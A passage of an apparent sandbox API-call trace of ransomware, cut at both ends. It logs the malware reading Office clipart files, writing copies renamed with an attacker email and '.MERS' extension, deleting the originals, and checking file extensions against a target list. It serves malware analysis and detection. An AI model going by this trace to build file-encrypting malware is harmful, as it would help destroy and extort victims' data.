lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.504] WriteFile (in: hFile=0x3d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.504] SetEndOfFile (hFile=0x3d8) returned 1 [0271.504] CloseHandle (hObject=0x3d8) returned 1 [0271.504] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.504] SetEndOfFile (hFile=0x408) returned 1 [0271.506] CloseHandle (hObject=0x408) returned 1 [0271.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0271.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0271.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0271.507] lstrlenW (lpString=".doc") returned 4 [0271.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.507] lstrlenW (lpString=".docx") returned 5 [0271.507] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.507] lstrlenW (lpString=".pdf") returned 4 [0271.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.507] lstrlenW (lpString=".xls") returned 4 [0271.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.507] lstrlenW (lpString=".xlsx") returned 5 [0271.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.507] lstrlenW (lpString=".ppt") returned 4 [0271.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0271.507] lstrlenW (lpString=".zip") returned 4 [0271.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.507] lstrlenW (lpString=".rar") returned 4 [0271.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.507] lstrlenW (lpString=".bz2") returned 4 [0271.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.507] lstrlenW (lpString=".7z") returned 3 [0271.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0271.507] lstrlenW (lpString=".dbf") returned 4 [0271.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0271.508] lstrlenW (lpString=".1cd") returned 4 [0271.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0271.508] lstrlenW (lpString=".jpg") returned 4 [0271.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0271.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0271.508] lstrlenW (lpString=".doc") returned 4 [0271.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.508] lstrlenW (lpString=".docx") returned 5 [0271.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.508] lstrlenW (lpString=".pdf") returned 4 [0271.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.508] lstrlenW (lpString=".xls") returned 4 [0271.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.508] lstrlenW (lpString=".xlsx") returned 5 [0271.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.508] lstrlenW (lpString=".ppt") returned 4 [0271.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0271.508] lstrlenW (lpString=".zip") returned 4 [0271.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.508] lstrlenW (lpString=".rar") returned 4 [0271.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.508] lstrlenW (lpString=".bz2") returned 4 [0271.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.508] lstrlenW (lpString=".7z") returned 3 [0271.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0271.508] lstrlenW (lpString=".dbf") returned 4 [0271.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0271.508] lstrlenW (lpString=".1cd") returned 4 [0271.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0271.509] lstrlenW (lpString=".jpg") returned 4 [0271.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.509] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.509] lstrlenW (lpString="BL00008_.WMF") returned 12 [0271.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0271.510] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=12520) returned 1 [0271.510] CloseHandle (hObject=0x408) returned 1 [0271.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0271.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0271.510] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.510] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0271.510] GetLastError () returned 0x0 [0271.510] ReadFile (in: hFile=0x408, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x30e8, lpOverlapped=0x0) returned 1 [0271.585] WriteFile (in: hFile=0x3d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x30f0, lpOverlapped=0x0) returned 1 [0271.586] ReadFile (in: hFile=0x408, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.586] WriteFile (in: hFile=0x3d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.586] SetEndOfFile (hFile=0x3d8) returned 1 [0271.586] CloseHandle (hObject=0x3d8) returned 1 [0271.586] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.586] SetEndOfFile (hFile=0x408) returned 1 [0271.590] CloseHandle (hObject=0x408) returned 1 [0271.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0271.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0271.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0271.590] lstrlenW (lpString=".doc") returned 4 [0271.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.590] lstrlenW (lpString=".docx") returned 5 [0271.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.590] lstrlenW (lpString=".pdf") returned 4 [0271.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.590] lstrlenW (lpString=".xls") returned 4 [0271.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.590] lstrlenW (lpString=".xlsx") returned 5 [0271.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.590] lstrlenW (lpString=".ppt") returned 4 [0271.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0271.590] lstrlenW (lpString=".zip") returned 4 [0271.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.591] lstrlenW (lpString=".rar") returned 4 [0271.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.591] lstrlenW (lpString=".bz2") returned 4 [0271.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.591] lstrlenW (lpString=".7z") returned 3 [0271.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0271.591] lstrlenW (lpString=".dbf") returned 4 [0271.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0271.591] lstrlenW (lpString=".1cd") returned 4 [0271.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0271.591] lstrlenW (lpString=".jpg") returned 4 [0271.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0271.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0271.591] lstrlenW (lpString=".doc") returned 4 [0271.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.591] lstrlenW (lpString=".docx") returned 5 [0271.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.591] lstrlenW (lpString=".pdf") returned 4 [0271.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.591] lstrlenW (lpString=".xls") returned 4 [0271.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.591] lstrlenW (lpString=".xlsx") returned 5 [0271.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.591] lstrlenW (lpString=".ppt") returned 4 [0271.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0271.591] lstrlenW (lpString=".zip") returned 4 [0271.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.591] lstrlenW (lpString=".rar") returned 4 [0271.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.592] lstrlenW (lpString=".bz2") returned 4 [0271.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.592] lstrlenW (lpString=".7z") returned 3 [0271.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0271.592] lstrlenW (lpString=".dbf") returned 4 [0271.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0271.592] lstrlenW (lpString=".1cd") returned 4 [0271.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0271.592] lstrlenW (lpString=".jpg") returned 4 [0271.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.592] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.592] lstrlenW (lpString="BL00105_.WMF") returned 12 [0271.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.884] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=880) returned 1 [0271.884] CloseHandle (hObject=0x3b4) returned 1 [0271.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20 [0271.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.964] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.964] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0271.964] GetLastError () returned 0x0 [0271.964] ReadFile (in: hFile=0x3cc, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x370, lpOverlapped=0x0) returned 1 [0272.038] WriteFile (in: hFile=0x2c8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x380, lpOverlapped=0x0) returned 1 [0272.039] ReadFile (in: hFile=0x3cc, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.039] WriteFile (in: hFile=0x2c8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.039] SetEndOfFile (hFile=0x2c8) returned 1 [0272.043] CloseHandle (hObject=0x2c8) returned 1 [0272.043] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.043] SetEndOfFile (hFile=0x3cc) returned 1 [0272.045] CloseHandle (hObject=0x3cc) returned 1 [0272.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0272.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0272.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0272.046] lstrlenW (lpString=".doc") returned 4 [0272.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.046] lstrlenW (lpString=".docx") returned 5 [0272.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.046] lstrlenW (lpString=".pdf") returned 4 [0272.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.046] lstrlenW (lpString=".xls") returned 4 [0272.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.046] lstrlenW (lpString=".xlsx") returned 5 [0272.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.046] lstrlenW (lpString=".ppt") returned 4 [0272.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0272.046] lstrlenW (lpString=".zip") returned 4 [0272.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.046] lstrlenW (lpString=".rar") returned 4 [0272.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.046] lstrlenW (lpString=".bz2") returned 4 [0272.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.046] lstrlenW (lpString=".7z") returned 3 [0272.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0272.046] lstrlenW (lpString=".dbf") returned 4 [0272.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0272.046] lstrlenW (lpString=".1cd") returned 4 [0272.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0272.046] lstrlenW (lpString=".jpg") returned 4 [0272.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0272.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0272.046] lstrlenW (lpString=".doc") returned 4 [0272.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.047] lstrlenW (lpString=".docx") returned 5 [0272.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.047] lstrlenW (lpString=".pdf") returned 4 [0272.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.047] lstrlenW (lpString=".xls") returned 4 [0272.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.047] lstrlenW (lpString=".xlsx") returned 5 [0272.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.047] lstrlenW (lpString=".ppt") returned 4 [0272.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0272.047] lstrlenW (lpString=".zip") returned 4 [0272.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.047] lstrlenW (lpString=".rar") returned 4 [0272.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.047] lstrlenW (lpString=".bz2") returned 4 [0272.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.047] lstrlenW (lpString=".7z") returned 3 [0272.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0272.047] lstrlenW (lpString=".dbf") returned 4 [0272.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0272.047] lstrlenW (lpString=".1cd") returned 4 [0272.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0272.047] lstrlenW (lpString=".jpg") returned 4 [0272.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.047] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.047] lstrlenW (lpString="BL00234_.WMF") returned 12 [0272.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0272.048] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=9304) returned 1 [0272.048] CloseHandle (hObject=0x3cc) returned 1 [0272.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0272.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0272.048] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.048] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0272.049] GetLastError () returned 0x0 [0272.049] ReadFile (in: hFile=0x3cc, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x2458, lpOverlapped=0x0) returned 1 [0272.077] WriteFile (in: hFile=0x2c8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0272.078] ReadFile (in: hFile=0x3cc, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.078] WriteFile (in: hFile=0x2c8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.078] SetEndOfFile (hFile=0x2c8) returned 1 [0272.078] CloseHandle (hObject=0x2c8) returned 1 [0272.078] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: 